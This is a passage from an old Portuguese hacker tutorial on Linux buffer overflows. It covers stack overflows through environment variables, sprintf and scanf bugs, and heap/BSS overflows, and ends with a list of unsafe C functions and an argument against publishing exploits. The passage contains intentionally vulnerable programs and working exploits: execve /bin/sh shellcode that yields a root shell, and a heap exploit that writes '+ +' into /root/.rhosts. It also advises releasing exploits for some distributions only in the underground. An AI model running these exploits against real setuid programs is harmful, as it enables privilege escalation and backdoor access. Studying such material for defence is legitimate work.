mas aih poderah ter que chutar offsets, e quanto mais longe disso, melhor!!! Aos poucos estamos conseguindo solucionar varios problemas e aperfeicoando ainda mais a escrita de nossos exploits.Mas podem surgir ainda mais e mais problemas,nao se desanime, se aprendeu tudo aih em cima o que segue eh soh completo, voce estarah se munindo cada vez mais, e breve estarah capacitado p/ enfrentar muitas situcoes que podem dificultar nossos buffers overflows.Nos exemplos citados acima, os buffers(bloco de memoria), onde eram guardadas as variaveis no programa bugado possuiam o tamanho de 512 bytes.Isto eh considerado grande.Logico, dependendo da ocasiao, tem programas com bem mais do que isso, mas eu me refiro que num buffer deste tamanho, nos nao temos problemas em inserir nosso codigo, mas e se o buffer for menor, se for bem pequeno? Veremos agora um exemplo de um pequeno buffer.Existem casos em que os buffers sao tao pequenos que nosso shellcode nao cabem neles, entao a primeira vista parece um enorme empecilho, sem duvida que eh, mas ha uma solucao!No mundo da informatica, ainda mais nesse onde os fucadores trabalham, pesquisam e etc, nao existe a palavra impossivel, a teoria de hoje pode ser a pratica de amanha. Para podermos sobrescrever um buffer desse tipo, devemos entao colocar nossos dados(shellcode,nops) num lugar e depois fazer com que o endereco de retorno(return address) aponte p/ esse lugar, aonde estao os nossos dados.O lugar onde podemos colocar nossos dados eh conhecido como "variavel environment"(ao redor, ambiente, por perto), o pessoal que meche a um pouco de tempo em linux sabe do que estou falando.De qualquer forma, quando ocorrer o overflow, nos colocaremos o endereco dessa variavel sobre o return address, fazendo com que nosso codigo seja executado. As variaveis environment sao armazenadas no topo do Stack quando o programa eh iniciado, qualquer modificacao pela funcao setenv() - que serve para mudar ou adicionar uma variavel environment - eh entao alocada lah(no topo do stack). Apos a inicializacao o stack ficaria parecido mais ou menos com isso: NULLNULL Veremos entao um novo exemplo de programa bugado, soh que com um pequeno buffer.Vejamos ------------------------------------------------------------------ /* SEGUNDO EXEMPLO DE PROGRAMA BUGADO. PROGRAMA BUGADO COM PEQUENO BUFFER */ #include #include #define TAMANHO 100 main(int argc, char *argv[]) { char nick[TAMANHO]; char *digitado; if(argc < 2){ printf("Programa bugado 2!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } digitado = argv[1]; strcpy(nick,digitado); if(!strcmp(nick,"hacko")){ printf("Seja bem vindo mestre!!\n"); return 0; } else{ printf("Fora daqui!!Voce eh Newbie!!\n"); printf("Somente hackos tem acesso na hora certa!!\n"); return 0; } } ----------------------------------------------------------------- Compile ele normalmente: gcc -o bug2 bug2.c Como voce pode ver, ele possui apenas 100 bytes de tamanho no buffer, poderia ateh possuir menos para nossos propositos educacionais, e voce pode se deparar com buffers menores por aih, mas trabalharemos em cima desse com 100 bytes para facilitar mais, lembrando novamente o que eu disse em outros tutoriais: "SABENDO FAZER UM, O QUE TE IMPEDE DE FAZER TODOS?" Abaixo segue o exploit para esse tipo de programa bugado: ----------------------------- expl5.c ------------------------------- /* Exploit para Segundo Programa Bugado. Ele irah criar uma variavel environment para sobrescrever um buffer pequeno */ #include #include #include /* Definimos o tamanho do buffer padrao, o tamanho do buffer aqui do nosso exploit nao precisa ser pequeno, o que eh aconselhavel eh definirmos o tamanho do buffer da variavel environment proximo ao do buffer bugado, por isso amigo, eh bom ter uma ideia, antes de exploitar um programa bugado, do tamanho do buffer que recebe dados, tente a velha forca bruta.Alinhamento, Offset e Nop, voce jah sabe. */ #define TAMANHO_BUFFER 500 #define NOP 0x90 #define OFFSET_PADRAO 0 #define ALIGN 0 /* Aqui entra a definicao do tamanho padrao do buffer onde ficarah nossa variavel environment, tente coincidir com o tamanho do buffer bugado, se nao for possivel, chute atraves da linha de comando. */ #define TAMANHO_VENV 100 unsigned long pega_sp(void){ __asm__("movl %esp, %eax"); } char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { char *buffer, *var_env; long retaddr; int i ,tamanho = TAMANHO_BUFFER, offset = OFFSET_PADRAO; int tam_venv = TAMANHO_VENV ; if (argc > 1) { tamanho = atoi(argv[1]); } if (argc > 2) { offset = atoi(argv[2]); } if(argc > 3){ tam_venv = atoi(argv[3]); } if(!(buffer = malloc(tamanho))){ fprintf(stderr,"Nao pode alocar mamoria!!\n"); exit(1); } /* Pegando o Endereco de Retorno */ retaddr = pega_sp() - offset; /* Colocamos buffer no endereco de retorno */ for (i=0;i>8; buffer[i+ALIGN+2]=(retaddr&0x00ff0000)>>16; buffer[i+ALIGN+3]=(retaddr&0xff000000)>>24; } /* Enchemos uma parte do buffer com NOP's Como pode notar, manipulamos nosso buffer em cima do tamanho da variavel environment, se ligue, se for chutar tamanhos, nao chute muito distantes um do outro */ for (i=0;i<(tam_venv-strlen(shellcode));i++) *(buffer+i) = NOP; memcpy(buffer+i,shellcode,strlen(shellcode)); /* Setamos a Variavel Environment */ var_env[tam_venv -1] = '\0'; memcpy(var_env,"EGG=",4); putenv(var_env); /* Executamos o programa bugado */ execl("./bug2","bug2",buffer,0); } --------------------------------------------------------------- Compilamos ele normalmente e em seguida mandamos brasa: [localhost:/]$ gcc -o expl5 expl5.c [localhost:/]$ ./expl5 500 0 100 Fora daqui ..... úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!! Somente hackos tem acesso na hora certa!! Segmentation fault [localhost:/]$ ./expl5 400 0 200 Fora daqui ..... úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿú úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ úÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿúÿ!!Voce eh Newbie!! Somente hackos tem acesso na hora certa!! bash# exit exit :)...Como pode ver, tudo eh possivel amigo.Voce pode tentar, chutando o tamanho do buffer p/ nosso exploit de 360 a 410, mais ou menos, sem necessitar de offsets.Jah o tamanho do buffer da variavel Environmente, fica proximo ao tamanho do buffer do programa bugado, algo entre 90 e 104, tente chegar bem proximo do tamanho do buffer bugado, aih voce terah que manipular somente o tamanho do buffer do exploit(argv[1]). Bem amigos, creio que isso eh o suficiente para se exploitar funcoes que recebem dados da linha de comando, como nos dois exemplos acima, onde a funcao strcpy() manipulava dados recebidos diretamente pela linha de comando.Sabemos que nao sao somente estas as funcoes que nao checam o tamanho dos dados recebidos e sua relacao com o tamanho do buffer para as variaveis, sao varias, e mais lah embaixo voce verah algumas explicadas brevemente, mas para enfatizar que voce estah apto a explorar falhas nas funcoes que nao checam o tamanho dos dados recebidos pela linha de comando, colocaremos mais um programa bugado, soh que com outra funcao que nao checa, a funcao sprintf. /* PROGRAMA BUGADO 3, SPRINTF() */ #include #include #include #define TAMANHO 512 main(int argc, char *argv[]){ char *hacko; char buf_bugado[TAMANHO]; if(argc < 2){ printf("Programa bugado 3!!\n"); printf("Uso: %s string\n",argv[0]); exit(0); } hacko = argv[1]; sprintf(buf_bugado,"%s",hacko); printf("Seja bem vindo %s!\n",buf_bugado); return 0; } Voce pode usar o mesmo exploit otimizado usado para sobrescrever o primeiro programa bugado,o exploit de numero 4 para esse programa acima e conseguir exploita-lo.Aqui no meu caso, chutei o tamanho do buffer de 520 a 620, conseguindo exploitar tranquilamente.Eh dificil hj em dia se achar codigos contendo este tipo de bug(funcao sprintf() usada deste modo), voce pode ver claramente que o uso dela nao eh util, pois eh mais facil achar strcpy() fazendo o que sprintf() fez acima.Mas eh bem capaz de voce achar num programa sprintf() sendo usado da seguinte forma: sprintf(buf_bugado,"Seja bem vindo %s!\n",hacko); printf(buf_bugado); Aih a coisa complica um pouco.Nao vou avancar muito, pois pretendo, se necessario, escrever uma continuacao para este tutorial, mas antes deve vir um material sobre IPC(InterProcess Comunication), que um dos membros do Unsekurity Team estah processando..:). Com IPC fica mais facil interagir com funcoes que nao recebem dados da linha de comando, e consequentemente exploita-las.Eh possivel que ainda nao exista material divulgado sobre este tipo de exploitacao em linux,mas que ela eh possivel, isso eh fato!!!Voce pode ver abaixo este programa bugado: /* QUARTO PROGRAMA BUGADO PARA TUTORIAL SOBRE OVERFLOWS PROGRAMA BUGADO COM A FUNCAO SCANF(). */ #include #include main(){ char nome[12]; printf("Digite seu nome:"); scanf("%s",&nome); printf("Seja bem vindo %s!\n",nome); } Voce pode ver claramente que a funcao scanf() acima nao checa dados recebidos.Mas neste exemplo nao empurraremos dados pela linha de comando, isso eh um pequeno problema que o pessoal que manja de IPC jah sabe resolver, mas um grande problema.Soh encontrei um documento que falasse algo sobre exploitacao de um buffer via IPC na internet, mesmo assim, nada claro.Lembrando que quando falo exploitacao via IPC, nao tou me referindo a buffer remotos nao, via socket, tou me referindo ao programa acima.Talvez exista ateh um metodo melhor que isto,nao sei.Teste para ver se esse programa eh bugado, usando o gdb, como no esquema lah do comeco. Assim que sair o tutorial sobre IPC, a gente avanca mais nesse ponto. Quanto ao codigo de sprintf() acima, nao faz-se necessario IPC para exploitar ele, soh necessita de uma manha para que o endereco de retorno caia numa parte do buffer que execute nossa shell.Vou deixar para depois tambem, isso aqui jah tah grande mais, e tah meio avancado demais.Fica aih os conceitos, espero quando publicar a continuacao deste txt voce nao precisar mais dos dados que nele estarao referentes a Stack Overflows, pois espero que esteja jah dominando boa parte dessa tecnica. Encerramos por aqui, essa fase inicial sobre Stack Overflows, veremos agora algo parecido com Stack Overflows, mas que eh muito util hoje em dia, o Heap Overflow. ------------------------- 6 - O HEAP - A NOVA ERA? | ------------------------- Como podemos ver acima,estah mais do que provado que a regiao denominada Stack pode ser usada atraves de estouro de buffer para execucao de codigos arbitrarios ou mais conhecidos como shellcodes (codigos de shell).Quando a pratica de Stack Overflows foi sendo cada vez mais difundida, o time da seguranca tratou de tentar contra-atacar. Pensaram e estudaram ateh encontrar uma "forma" de dificultar a execucao de codigo arbitrario via Stack Overflow.Criaram um programa capaz de manter vigilancia no Stack e impedir a execucao de codigo arbitrario, sao os chamados Stack Guards.Nao sao tao eficientes, mas determinados tipos de vulnerabilidades nao podem ser mais exploitadas via Stack Overflows.No momento tambem sao poucos os programas deste tipo, e eu mesmo soh possuo o conhecimento de dois, o Stack Guard p/ estacoes sun/solaris, e um recem criado, conhecido como Stack Shield, sendo este ultimo para plataformas linux.Devem existir bem mais por aih, e se de alguma forma isto se concretizar, logo logo estarao acoplados as distribuicoes de sistemas operacionais.Mas, como vimos no inicio, existem outras regioes de memoria, e dentre estas, uma possui uma particularidade interessante, eh a regiao BSS. Podemos visualizada virtualmente no desenho do item 1.3 deste arquivo texto.Ateh o presente momento, nao foi divulgada ainda uma possivel protecao a essa regiao da memoria contra os buffers overflows,nesse caso conhecido como heap overflows ou heap baseado em bss overflows. Heap overflows, ao contrario dos Stack overflows, nao sao muito conhecidos, sao pouquissimos os textos que ensinam algo sobre isso, mas nao desanime amigo, porque entendo bem os overflows em Stack e um pouco mais de C, voce poderah perfeitamente entender e consequentemente praticar isto aqui tambem.Entao amigo, quando voce se deparar com um sistema que possui protecao contra "Stack Overflows", nao pense duas vezes, tente "heap Overflows", porque, como vimos no desenho do cap 1.3, heap pode ser usado p/ exploitar o stack e a bss, e ateh mesmo passar por cima de uma dessas protecoes de Stack aih, lembrando que, o autor desse txt nao faz parte do time de seguranca, vai ver a situacao ainda eh pior do que a descrita aqui, por mim!!:) 6.1 - Alocacao Dinamica em C ----------------------------- Irei aqui dar uma breve explicacao de como eh feita a alocacao dinamica de dados em C.Lembrando que nao eh intuito deste tutorial ensinar C ou qualquer outra linguagem, fique atento a atual home page do grupo Unsekurity Team, sempre tem algo relacionado a programacao por lah. A alocacao dinamica em C tem diversas utilidades, uma delas eh a criacao de listas de informacoes de comprimento veriavel, muito utilizadas em aplicacoes de banco de dados, eis aih um dos motivos de se preferir um BD feito a mao, do que lixos como oracle,mysql e etc..Mas isso fica para outra oportunidade, no momento, tenhamos em mente que para manipularmos dados na regiao BSS, onde usaremos nossos Heap Overflows, necessitamos saber este conceito de Alocacao Dinamica.Isso pode servir para um futuro breve, mano!! O sistema de alocacao dinamica do C, contem muitas funcoes, mas as mais importantes e mais usadas sao malloc() e free(), tambem se usa muito calloc().A alocacao dinanica permite ao programador alocar memoria para variaveis quando o programa estah sendo executado. Isso poderah ser muito util em aplicacoes IPC visando escrita em buffers que nao recebem dados pela linha de comando.Mas aguarde!! Um simples exemplo de alocacao dinamica segue abaixo: #include #include #define A 0x41 main (void) { static char *buffer, string[300]; int tamanho,i; tam = 200; if((buffer=(char *)malloc(tam)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } for (i=0; i #include #define A 0x41 main (int argc, char *argv[]) { static char *buffer, *string; int tamanho,i; if(argc < 2){ printf("Primeiro Programa bugado para Heap Overflow!\n"); printf("Uso: %s \n",argv[0]); exit(0); } tamanho = atoi(argv[1]); if((buffer=(char *)malloc(tamanho)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } if((string=(char *)malloc(tamanho - 50)) == NULL){ fprintf (stderr,"Erro: Nao pode alocar memoria!!\n"); exit(1); } for (i=0; i #include #include #include #include /* Define tamanho do buffer que serah usado para sobrescrever */ #define BUFSIZE 16 /* Define tamanho de bytes em um endereco */ #define ADDRLEN 4 int main() { u_long diff; static char buf[BUFSIZE], *bufptr; bufptr = buf, diff = (u_long)&bufptr - (u_long)buf; printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); memset(buf, 'A', (u_int)(diff + ADDRLEN)); printf("bufptr (%p) = %p, buf = %p, diferenca = 0x%x (%d) bytes\n", &bufptr, bufptr, buf, diff, diff); return 0; } Compile-o normalmente e depois execute-o, voce irah receber algo parecido com as linhas abaixo: bufptr (0x80496b8) = 0x80496a8, buf = 0x80496a8, diferenca = 0x10 (16) bytes bufptr (0x80496b8) = 0x41414141, buf = 0x80496a8, diferenca = 0x10 (16) bytes O que podemos perceber acima eh que o ponteiro no fim aponta para um endereco diferente de memoria que apontava no inicio.O que se pode fazer com isso, eh aproveitar uma vulnerabilidade onde nos possamos sobrescrever algum arquivo temporario para apontar para uma string separada(como por exemplo um parametro em argv[1] que nos mesmos possamos prover), que possa conter algo malicioso, como "/root/.rhosts". Para demontrar isto, iremos dar uma olhada em um programa bugado com estas caracteristicas,iremos usar um arquivo temporario para momentanea- mente salvar dados colocados(input) de algum usuario.O programa abaixo tambem foi escrito por Matt Conover, e tambem pode ser obtido em www.w00w00.org, bem como seu tutorial sobre Heap Overflows que estou me baseando. ----------------------------heapvul1.c-------------------------------- /* * Este eh um tipico programa vulneravel.Ele irah armazenar dados * de entrada(input) em um arquivo temporario. * Desenvolvido por Matt Conover. * Alterado por Nash Leon. * Compile com: gcc -o vulprog1 vulprog1.c */ #include #include #include #include #define BUFSIZE 16 /* * Rode este vulprog como root para que tenha permissao para escrever * o /root/.rhosts , ou entao adapte-o para o usuario que se encontra. */ int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; if (argc <= 1) { printf("Uso: %s \n", argv[0]); exit(0); } tmpfile = "/tmp/vulprog.tmp"; /* Este nao eh o arquivo temporario vulneravel. */ printf("antes: tmpfile = %s\n", tmpfile); printf("Digite uma linha de dados para colocar em %s: ", tmpfile); gets(buf); printf("\napos: tmpfile = %s\n", tmpfile); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "Erro abrindo %s: %s\n",tmpfile,strerror(errno)); exit(1); } fputs(buf, tmpfd); fclose(tmpfd); } ------------------------------------------------------------------------ Compila esse programa bugado e depois seta ela como suid. (Como root digite: chmod +s heapvul1) Abaixo segue um exploit para este programa bugado, tambem feito por Matt Conover, para variar. -----------------------------heexpl1.c--------------------------------- /* * Copyright (C) January 1999, Matt Conover & WSD * * Alterado por Nash Leon. * * Este exploit vai passar alguns argumentos para o programa(que o * programa vulneravel nao usa), exploitando o mesmo.O programa * vulneravel espera que nos digitemos uma linha de dados de entrada, * para ser armazenada temporariamente.Todavia, por causa de um * static buffer overflow, nos podemos sobrescrever o arquivo * temporario apontado, para que ele aponte para argv[1](que nos * devemos passar como "/root/.rhosts").Entao ele irah escrever nossa * linha temporaria para este arquivo.Entao nos sobrescrevemos a string, * (que nos iremos passar como nossa linha de entrada de dados) para que * seja: * + + # tamanho de (endereco tmpfile) - (endereco de buf) # de A's | * endereco de argv[1] * * * Nos usamos "+ +", permite todos os hosts, seguido por '#' , que eh * usado para comentarios em shell scripts, para previnir que nosso * "codigo de ataque" cause problemas.Sem a "#", programas usando * .rhosts devem interpretar mal nosso codigo de ataque. * * Compile com: gcc -o exploit1 exploit1.c */ #include #include #include #include #define BUFSIZE 256 #define DIFF 16 /* Diferenca estimada entre buf/tmpfile em heapvul1 */ #define VULPROG "./heapvul1" #define VULFILE "/root/.rhosts" /* o arquivo 'buf' que serah armazenado */ /* Pega o valor de Stack Pointer(sp) fora do Stack.(Usado para calcular o endereco de argv[1] */ u_long getesp() { __asm__("movl %esp,%eax"); /* equiv. de 'return esp;' em C */ } int main(int argc, char **argv) { u_long addr; register int i; int mainbufsize; char *mainbuf, buf[DIFF+6+1] = "+ +\t# "; /* ------------------------------------------------------ */ if (argc <= 1) { fprintf(stderr, "Uso: %s [tente 310-330]\n", argv[0]); exit(1); } /* ------------------------------------------------------ */ memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + atoi(argv[1]); /* reverse byte order (em um sistema little endian) */ for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, sizeof(mainbuf)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("Sobrescrevendo tmpaddr p/ apontar p/ %p, check %s depois.\n\n", addr, VULFILE); system(mainbuf); return 0; } --------------------------------------------------------------------- Compila ele e executa.Olha, ele mandou tentar offsets de 310 a 330, mas eu soh consegui chutando 379, voce pode ir chutando, e vendo o que aparece em "apos: tmpfile =".Veja meu exemplo abaixo: [localhost:/]$ ./heexpl1 350 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb56, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = erro abrindo : No such file or directory [localhost:/]$ ./heexpl1 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb74, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = root/.rhosts erro abrindo root/.rhosts: No such file or directory Preste atencao acima, o "apos: tmpfile = root/.rhosts" indica que o ponteiro estah bem proximo de alcancar o endereco que queriamos. [localhost:/]$ ./heexpl1 379 Sobrescrevendo tmpaddr p/ apontar p/ 0xbffffb73, check /root/.rhosts depois. antes: tmpfile = /tmp/vulprog.tmp Digite uma linha de dados para colocar em /tmp/vulprog.tmp: apos: tmpfile = /root/.rhosts Pronto!!O arquivo foi escrito com sucesso!!Chute offsets de 5 em 5, prestando sempre atencao no que apareco na linha "apos: tmpfile = /root/.rhosts", veja que no ultimo exemplo ele nao apresentou mensagem de erro.Se voce me pergunta se isso pode ser melhorado??? Pode sim, lembre-se que ele diz acima que usa 1 metodo para pegar o 'return address', voce conhece varios metodos, incremente um seu, e verah melhoras consideraveis neste exploit. A funcao vulneravel do programa "heapvul1" descrito, eh a funcao gets(), como muitas, ela tambem nao faz checagem no tamanho de buffer que recebe. Talvez voce esteja achando tudo isso muito dificil, nao vou me aprofundar, isso foi soh para que voce tenha uma ideia, no proximo, talvez explique mais detalhado isso tudo,de uma olhada nesse txt do Matt Conover, ele eh um dos poucos disponiveis. -------------------- 8 - O PROJETO OMEGA | -------------------- Irei descrever de forma breve, o que se trata este "Projeto", nao entrarei em detalhes tecnicos por enquanto, pois foge do intuito deste tutorial, haja visto, nao considero simples as demonstracoes praticas desta tecnica.O que se pretende com isto, eh a eliminacao da necessidade de se chutar offsets, isso que fazemos muito.Existem tecnicas de forca bruta, que faz com que programas facam isso por nos, a gente deixa lah e ele fica rodando o exploit, chutando offsets ateh que consiga nosso objetivo, mas esse projeto omega eh diferente, tem em mente acabar com a necessidade de chutar offsets.No inicio, como sempre, muita gente nao deu ideia ao cara que veio com essa teoria, ele eh conhecido como "lamagra", mas parece que agora o pessoal anda vendo que ele tem razao.Recentemente foi publicado num zine de grande circulacao, o HWA zine, que pode ser obtido em www.csoft.net/~hwa , uma materia contendo material feito por esse lamagra para o zine "core zine", que pode ser baixado na propria home page do lamagra, em http://bounce.to/unah16/. Eu nao sei precisar mais dados sobre isso, mas creio que existe um porem, como tem aparecido patchs e programas no intuito de evitar buffer overflows, creio que o proprio conceito de buffer overflows como tecnica de ataque estah em jogo.Sabemos que nao existe somente estah tecnica, mas creio que o conhecimento desta eh essencial.O esforco do lamagra eh valido, e creio que devemos sim medir esforcos para termos dominio sobre essa teoria e consequentemente pratica-la. Caso seja possivel, num futuro txt sobre overflows, incluirei uma parte tecnica destinada a este projeto.Mas por enquanto, caso queira conferir, leia o zine "core zine", de numeros 02 e 03, e verah algo sobre essa teoria e muitas outras coisas interessantes, tem ateh um tutorial sobre stack overflows, na versao 01, se nao me engano. Sem mais sobre isso por enquanto. --------------------- 9 - PROCURANDO FUROS | --------------------- Existem varios metodos para ver se um programa eh bugado ou nao. Irei enumerar apenas alguns. Sabemos que um programa para ser vulneravel a um buffer overflow necessita possuir um bug(uma falha), em seu codigo ou implementacao, que permita que causemos um desvio do curso normal do programa atraves do enchimento de um buffer usado por uma funcao que nao faz checagem de tamanho dos parametros que recebe.Sao varias as funcoes em C que podem ser vulneraveis a buffer overflows, mas dependendo da implementacao, uma funcao considerada "bugada" pode muito bem fazer uma checagem do tamanho dos dados que recebe e nao ser mais considerada bugada.Um exemplo disso segue abaixo: scanf("%s ", variavel); scanf("%500s ", variavel); Se variavel foi declarada para receber ateh 512 bytes, no primeiro caso, se digitarmos mais de 512, conseguiremos um buffer overflow, mas no segundo caso nao, pois existe uma checagem dos parametros recebidos por scanf(). Muitas funcoes possuem funcoes substitutas, que sao funcoes que efetuam a mesma operacao da funcao considerada "bugada"( por nao fazer a checagem do tamanho dos parametros que recebe) mas que checam o tamanho. Vemos um exemplo disso nas funcoes abaixo: strcat(variavel, buffer); strncat(variavel, buffer,sizeof(buffer)); Se "variavel" possui um tamanho maior do que o de "buffer", no primeiro caso teremos sim uma possivel condicao de buffer overflow,caso coloquemos mais dados do que buffer possa suportar; mas no segundo caso, strncat faz uma checagem do tamanho de buffer antes de concatenar com variavel. O melhor metodo para saber se um programa eh vulneravel ou nao eh atraves da leitura de seu codigo-fonte.Eu disse no inicio desse txt que poderiamos saber se um programa eh vulneravel a overflow atraves do recebimento da mensagem "Segmentation Fault", mas isso por sih soh nao basta, pois muitos programas possuem erros que geram o recebimento desta mensagem. Voce pode sim tentar sempre um brutal force(tentando encher um buffer com muitos dados), e ver se consegue obter essa resposta.Isso eh util em programas com codigos fechados,mas mesmo para programas deste tipo existe uma solucao "melhor".Existe por aih, um programa capaz de descompilar um programa.Isso mesmo, coisa rustica ainda, mas pode ser util,voce pode obter mais informacoes sobre isso e baixar uma versao deste programa em http://www.it.uq.edu.au/groups/csm/dcc.html. Algum tempo atras, pouco tempo, saiu um programa chamado its4.Esse programa seria um "grep" melhorado, pois ele checa um codigo fonte em busca de possiveis vulnerabilidades, apontando possiveis solucoes(troca da funcao,checagem de bounds,etc), bem como indicando o nivel de risco no uso de cada funcao, e ainda permite uma atualizacao dos dados(acrescentar ou retirar uma funcao considerada bugada).Este programa eh muito conhecido e pode ser obtido em http://www.rtscorp.com/its4 ou mesmo nos sites de seguranca por aih, como na packetstorm, http://packetstorm.securify.com//. Mas ele por sih soh nao eh tudo, pois tambem divulga informacoes erradas, creio que uma busca serene e incessante de conhecimento de C eh mais do que essencial.Breve o Unsekurity Team deverah estar publicando mais textos no intuito de massificar conhecimentos nesta area, bem como abranger mais sistemas operacionais. Irei enumerar algumas das funcoes que sao reconhecidas como sendo perigosas, pois podem ser vulneraveis a ataques de buffer overflows, nao irei diferenciar quanto a regiao de memoria, mas a maioria pode ser exploitada tanto via Heap como Stack overflows.Sao elas: strcpy(); scanf(); fscanf(); strcat(); gets(); fgets(); fprintf(); sprintf(); vsprintf(); strstr(); bzero(); bcopy(); getopt(); getpass(); getcwd; popen(); system(); execvp(); avoid execlp(); Tambem podem ocorrer overflows sob certas circunstancias em: strncpy(); strncat(); getenv(); atexit(); strdup(); tmpnam(); malloc(); readdir(); seekdir(); printf(); Dentre possivelmente outras. Como voce pode ver,nao sao poucas as funcoes, e dependendo sim do nivel do fucador, eh possivel gerar overflows em qualquer funcao descritas acima.Agora que voce jah tem conhecimento de como nao eh tao dificil gerar um overflow, mas o quanto eh dificil fazer um programa complexo seguro, creio que devemos sim respeitar os programadores bem como a comunidade de seguranca, nao eh facil fazer um programa com milhares de linhas de codigos sem possuir uma condicao para buffer overflow. De qualquer forma,tendo em vista um maior aprendizado nisso tudo, iremos de alguma forma forcar a escrita de codigos mais seguros e estaveis, tudo para que o usuario comum possa algum dia ter a seguranca de usar um programa ou navegar na internet e etc, sem a preocupacao de alguem estar bisbilhotando seus dados.Fucadores eticos respeitam os dados das pessoas e lutam contra as grandes corporacoes para garantir a privacidade dessas pessoas, mesmo que lah fora elas nao saibam as reais causas que nos levam a isso tudo, acredito que eh mais do que gratificante forcar esse pessoal(grandes corporacoes inescrupulosas) a fazer o que nao querem, que eh dar maior qualidade e seguranca ao uso pessoal dos computadores de um modo geral. Aproveito essa parte para dizer algo tambem.Eu estava pensando em publicar algum exploit de nossa autoria, mas aih um membro do grupo me alertou para algo que eu ainda nao havia pensado: "Nao devemos publicar nossos exploits", quando muito, devemos liberar apenas aos mais intimos e conhecidos que de fato nao publicarao, por que?? * Primeiro -> A comunidade de seguranca estah ficando cada vez mais rica.Sao empresas e mais empresas trabalhando para as corporacoes, e em nenhum momento eles gastam dinheiro para divulgar a causa hacker(digo hacker,nao cracker!), pois eles jah estao inseridos no sistema. * Segundo -> Talvez voce tenha algum exploit proprio para sistemas abertos, como linux que afete uma distribuicao descente. Quando eu falo descente amigo, digo "Debian", pois ateh mesmo o Slackware tah seguindo no rumo de capitalizar dinheiro em cima do linux.Se voce descobrir um exploit para um sistema como Debian, aconselho voce a divulgar de inicio ao pessoal que faz a distribuicao, os desenvo- vedores,programadores, procurando contato diretamente com eles.Mas se for para as outras distribuicoes linux, em especial Red Hat linux, Caldera Open Linux, Red Hat Conectiva Linux, Corel Linux, e o que tah vindo agora, Motorola Linux, divulgue seu exploit somente no underground, deixe que eles depois tratem de achar o bug e consertar, pois essas distribuicoes nao possuem escrupulos e estao denegrindo e se aproveitando do trabalho alheio.Abram os olhos, quem nao garante que amanha a Red Hat nao seja uma nova microsoft??? * Terceiro -> A comunidade de seguranca na sua maioria(alguns ainda escapam) nao se importam com voce, querem que voce vah preso, e nao fazem questao de diferenciar o termo hacker do termo cracker, simplesmente porque eles ganham quando a midia divulga os criminosos que trazem prejuizos para todos.Por isso, amigo, se teu ego falar alto porque voce conseguiu descobrir algo novo, cuidado voce vai ajudar esses caras, mas eles nao irao ajudar voce, caso um dia precise. * Quarto -> Um cara que divulga um exploit para um determinado bug, que se diz de um grupo fucador ou nao, deve ter em mente o perigo que representa a divulgacao do exploit, me refiro ao uso desse exploit por parte dos kiddies e lamers.Uma coisa eh voce dizer que tal programa possui um bug em determinada funcao, outra eh voce disponibilizar um exploit para isso.A realidade, eh que o pessoal que irah fazer um exploit para o bug descoberto por voce, eh bem reduzido, no entanto, caso divulgue um exploit, o universo do pessoal que o usarah seja lah para quais intuitos for, serah demasiadamente grande.Nos ataques de DDoS recentes, um dos "fabricantes" de uma das possiveis ferramentas usadas foi severamente acusado de participar diretamente dos ataques, que garantia voce terah que nao farao isso contigo?? Bom, esses sao soh alguns itens que me levam a fazer apologia da "Nao Divulgacao de Exploits" por parte de fucadores.Sei que a comunidade de seguranca nao gosta deste tipo de ideologia,mas lembrando, nao eh para eles que escrevo.Nao deixe seu ego tomar conta de voce mano!!Faca as coisas com conciencia!! ---------------- 10 - TERMINANDO | ---------------- 10.1 Links e Referencias -------------------------- "Smashing The Stack For Fun And Profit" por Aleph One. Pode ser obtido em: http://www.phrack.com -> Zine 49, item 14. http://packetstorm.securify.com/ -> Manda achar. http://www.technotronic.com/ http://www.2600.com/phrack/ http://www.securityfocus.com/ "w00w00 on Heap Overflows" por Matt Conover. Pode ser obtido em: http://www.w00w00.org/ http://www.securityfocus.com/ "adv.overflow.paper" por Taeho Oh. Pode ser obtido em: http://www.technotronic.com/ http://www.securityfocus.com/ "STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX" - Feito pelo pessoal da The Hacker's Choice. 